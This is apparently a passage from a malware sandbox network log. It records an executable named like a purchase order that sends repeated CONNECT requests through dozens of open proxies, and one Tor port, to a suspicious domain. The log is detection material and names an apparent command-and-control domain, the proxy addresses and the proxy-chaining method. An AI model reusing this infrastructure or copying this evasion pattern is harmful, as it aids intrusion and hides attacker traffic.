Mar 11, 2024 16:39:47.347757101 CET	1286	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html Cache-Control: no-cache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 4897 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 69 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 6e 75 6d 62 65 72 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 70 61 73 73 77 6f 72 64 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 73 65 61 72 63 68 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 6c 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 65 78 74 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 74 69 6d 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 75 72 6c 5d 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 36 32 36 32 36 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 2e 32 65 6d 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 20 73 6f 6c 69 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 20 31 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 20 23 61 39 61 39 61 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b Data Ascii: <!DOCTYPE html><html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=8; IE=EDGE"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="https://fonts.googleapis.com/css?family=Roboto&display=swap" rel="stylesheet"> <style type="text/css"> body { height: 100%; font-family: Roboto, Helvetica, Arial, sans-serif; color: #6a6a6a; margin: 0; display: flex; align-items: center; justify-content: center; } input[type=date], input[type=email], input[type=number], input[type=password], input[type=search], input[type=tel], input[type=text], input[type=time], input[type=url], select, textarea { color: #262626; vertical-align: baseline; margin: .2em; border-style: solid; border-width: 1px; border-color: #a9a9a9; background-color: #fff;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
731	192.168.2.10	52464	104.16.109.143	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.060688972 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.217999935 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
732	192.168.2.10	52463	203.161.32.242	61070	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.061810970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.676323891 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.285934925 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
733	192.168.2.10	52299	221.153.92.39	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.063323975 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.370347977 CET	310	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
734	192.168.2.10	52311	211.222.252.187	8197	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.081353903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
735	192.168.2.10	52254	45.11.95.165	6012	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.082175970 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
736	192.168.2.10	52316	54.233.119.172	3128	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.088172913 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.410689116 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0
Mar 11, 2024 16:39:48.271603107 CET	116	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Server: nginx Content-Type: text/plain Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
737	192.168.2.10	52431	23.225.72.123	3501	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.088213921 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.676487923 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:48.489065886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:58.464535952 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
738	192.168.2.10	52304	61.129.2.212	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.088365078 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:40:17.411001921 CET	726	IN	HTTP/1.1 502 Bad Gateway Server: nginx/1.20.1 Date: Mon, 11 Mar 2024 15:37:15 GMT Content-Type: text/html; charset=utf-8 Content-Length: 559 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 35 30 32 20 42 61 64 20 47 61 74 65 77 61 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>502 Bad Gateway</title></head><body><center><h1>502 Bad Gateway</h1></center><hr><center>nginx/1.20.1</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
739	192.168.2.10	52301	159.65.77.168	8585	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.090195894 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
740	192.168.2.10	52226	175.183.82.221	8193	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.091022015 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
741	192.168.2.10	52253	91.241.217.58	9090	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.091595888 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
742	192.168.2.10	52378	51.15.247.93	16379	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.091792107 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:49.741549015 CET	536	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 53 20 50 72 6f 78 79 2c 20 4e 6f 74 20 41 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 68 69 73 20 69 73 20 61 20 53 4f 43 4b 73 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 74 68 69 73 20 54 6f 72 20 70 6f 72 74 20 61 73 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 3c 2f 70 3e 3c 70 3e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 68 69 73 20 70 6f 72 74 20 69 73 20 63 6f 6e 66 69 67 75 72 65 64 20 61 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 0a 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 20 49 66 20 79 6f 75 20 6e 65 65 64 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 20 74 75 6e 6e 65 6c 2c 20 75 73 65 20 74 68 65 20 48 54 54 50 54 75 6e 6e 65 6c 50 6f 72 74 0a 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 6f 70 74 69 6f 6e 20 69 6e 20 70 6c 61 63 65 20 6f 66 2c 20 6f 72 20 69 6e 20 61 64 64 69 74 69 6f 6e 20 74 6f 2c 20 53 4f 43 4b 53 50 6f 72 74 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 Data Ascii: <html><head><title>This is a SOCKS Proxy, Not An HTTP Proxy</title></head><body><h1>This is a SOCKs proxy, not an HTTP proxy.</h1><p>It appears you have configured your web browser to use this Tor port asan HTTP proxy.</p><p>This is not correct: This port is configured as a SOCKS proxy, notan HTTP proxy. If you need an HTTP proxy tunnel, use the HTTPTunnelPortconfiguration option in place of, or in addition to, SOCKSPort.Please confi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
743	192.168.2.10	49900	103.153.232.41	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.099808931 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:50.185425043 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
744	192.168.2.10	52358	185.38.111.1	8080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.105182886 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.426645041 CET	75	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Length: 0
Mar 11, 2024 16:39:47.748492002 CET	103	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
745	192.168.2.10	52268	185.132.242.212	8083	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.107564926 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
746	192.168.2.10	52400	61.92.189.15	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.111283064 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Mar 11, 2024 16:39:47.417462111 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 15:39:47 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
747	192.168.2.10	52336	217.145.199.47	56746	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.119345903 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
748	192.168.2.10	52393	192.162.232.15	1080	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.135308027 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
749	192.168.2.10	52561	5.161.108.72	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.138709068 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
750	192.168.2.10	52564	5.161.108.72	443	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 16:39:47.139729023 CET	273	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
751	192.168.2.10	52313	123.126.158.50	80	7816	C:\Users\user\Desktop\PO-065-01-2024E-2.exe

Timestamp	Bytes transferred	Direction	Data
